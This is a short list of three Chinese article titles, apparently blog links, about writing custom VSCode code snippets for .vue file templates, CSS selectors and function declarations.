VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数